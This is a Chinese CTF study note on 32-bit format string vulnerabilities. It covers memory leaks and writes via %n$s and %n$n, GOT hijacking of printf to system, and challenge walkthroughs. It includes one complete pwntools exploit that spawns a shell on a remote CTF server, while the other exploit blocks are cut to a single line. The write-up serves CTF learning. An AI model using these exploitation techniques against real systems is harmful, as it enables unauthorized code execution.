Format String
格式化字符串
格式化字符串漏洞在理由时一般分为三个部分
- 格式化字符串函数
- 格式化字符串
- 要输出的变量(可选)
具体原理可参考CTF-WIKI,这里主要记录下做题的过程(👴又🥬又懒🐶,写不动🌶️
2022-1-7更新。。。感觉还是有些点问题,比如内存写入不太清晰,还是写下笔记,这里主要是32位下的程序
泄漏内存数据
- 泄漏栈上内容
32位: %n$x (return栈上第n+1个参数值) |
- 泄漏内存地址的内容
32位: %n$s:把栈上第n+1个参数的值作为地址,返回该地址内存的值 |
覆写内存数据
- 形式和泄漏类似,将$s改为$n
- 用%xc控制写入字符数
***c%n$n: 把栈上第n+1个参数的值作为地址,将该地址的高32bit值改为 hex(***) |
例如
|
这样x的值就会被修改为10
例题:
[Jarvis OJ]fm
这题逻辑挺简单,x初始化为3,当修改x=4时就可以读出flag,所以我们就要利用format string将x对应内存地址处的值改为4
然后偏移的话,利用pwngdb的插件fmtarg算出是11
printf(x_address+"%c$n") |
exp
from pwn import * |
实时数据监测
可以直接覆盖,也可以双字节覆盖
exp
from pwn import * |
inndy_echo
导入IDA中可以看到
do |
在printf处可以利用,先在gdb中算出偏移是7,然后我们看到有system函数,我们就可以利用GOT HiJack将printf@got
的内容改写成system@plt
的地址,再写入/bin/sh\x00
执行
from pwn import * |
wdb_2018_2nd_easyfmt
首先查看文件是32位的只开了NX保护,用ida打开看下程序逻辑
puts("Do you know repeater?"); |
看上去就是写了个死循环,重复输入输出,且printf
处存在格式化字符漏洞
首先找到格式化字符的偏移,用fmtarg发现是
The index of format argument : 7 ("\%6$p")
通过
printf@got
的地址leak出我们想要的printf_addr
,然后利用libc算出system
(因为这里程序没有调用system函数,我们只能在libc中找)然后覆写
printf@got
地址为system的地址,再发送执行/bin/sh\x00
拿到shellprintf_got = elf.got['printf']
payload = p32(printf_got) + "%6$s"
io.recvuntil("repeater?\n")
io.sendline(payload)
io.recv(4) #先接收print@got的地址,然后才是我们想要泄漏的
printf_addr = u32(io.recv(4))
print(hex(printf_addr))下面红框里的才是我们需要的,蓝色框是
printf@got
的地址exp
# coding=UTF-8
from pwn import *
#io = process('./eyfmt')
io = remote('node4.buuoj.cn',28484)
elf = ELF('./eyfmt')
libc = ELF('./libc-2.23_32.so')
context.log_level = 'debug'
printf_got = elf.got['printf']
payload = p32(printf_got) + "%6$s"
io.recvuntil("repeater?\n")
io.sendline(payload)
io.recv(4) #先接收print@got的地址,然后才是我们想要泄漏的
printf_addr = u32(io.recv(4))
print(hex(printf_addr))
'''
因为这里LibcSearch不能用,libc文件在buu上下载
libc = LibcSearch('printf', printf_addr)
libc_base = printf_addr - libc.dump['printf']
system = libc_base + libc.dump['system']
'''
libc_base = printf_addr - libc.symbols['printf']
print(hex(libc_base))
system = libc_base + libc.symbols['system']
print(hex(system))
payload1 = fmtstr_payload(6,{printf_got:system})
io.sendline(payload1)
io.send('/bin/sh\x00')
io.interactive()
greeting-150
攻防世界的一道题目,格式化字符串任意写以及 _do_global_dtors_aux_fini_array_entry
循环利用
exp
from pwn import * |
[CISCN 2019西南]PWN1
这题和上题基本上一样的,循环➕任意覆盖地址
exp
from pwn import * |
TODO..
参考
https://cartermgj.github.io/2018/01/16/fsb_summary/
https://bbs.ichunqiu.com/thread-42943-1-1.html?from=bkyl
https://blog.csdn.net/qq_42728977/article/details/102880186?spm=1001.2014.3001.5501
Format String